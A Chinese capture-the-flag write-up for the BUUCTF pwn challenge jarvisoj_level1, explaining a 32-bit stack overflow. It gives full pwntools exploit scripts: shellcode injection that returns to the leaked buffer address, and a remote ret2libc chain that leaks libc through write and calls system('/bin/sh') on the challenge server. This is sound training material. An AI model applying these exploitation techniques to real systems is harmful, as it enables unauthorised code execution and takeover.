[BUUCTF]PWN——jarvisoj_level1

jarvisoj_level1

附件

步骤:

  1. 例行检查,32位程序,没有开任何保护
    [BUUCTF]PWN——jarvisoj_level1_第1张图片

  2. 本地运行一下程序,看看大概的情况,可以看到输出了一个地址
    在这里插入图片描述

  3. 32位ida载入,习惯性的检索程序里的字符串,没有发现可以直接利用的gates,
    main函数开始看程序
    [BUUCTF]PWN——jarvisoj_level1_第2张图片
    function函数
    [BUUCTF]PWN——jarvisoj_level1_第3张图片
    参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
    由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
    但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通

from pwn import *

#r=remote('node3.buuoj.cn',29465)
r=process('level1')

buf_addr=int((r.recvline()[14:22]),16)
	
shellcode=asm(shellcraft.sh())

payload=shellcode+'a'*(0x88+4-len(shellcode))+p32(buf_addr)

r.sendline(payload)

r.interactive()

在这里插入图片描述
这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数

利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell

完整exp:

from pwn import *
from LibcSearcher import *

r = remote('node3.buuoj.cn',29465)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr = u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')

system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

[BUUCTF]PWN——jarvisoj_level1_第4张图片

你可能感兴趣的:(BUUCTF刷题记录,PWN)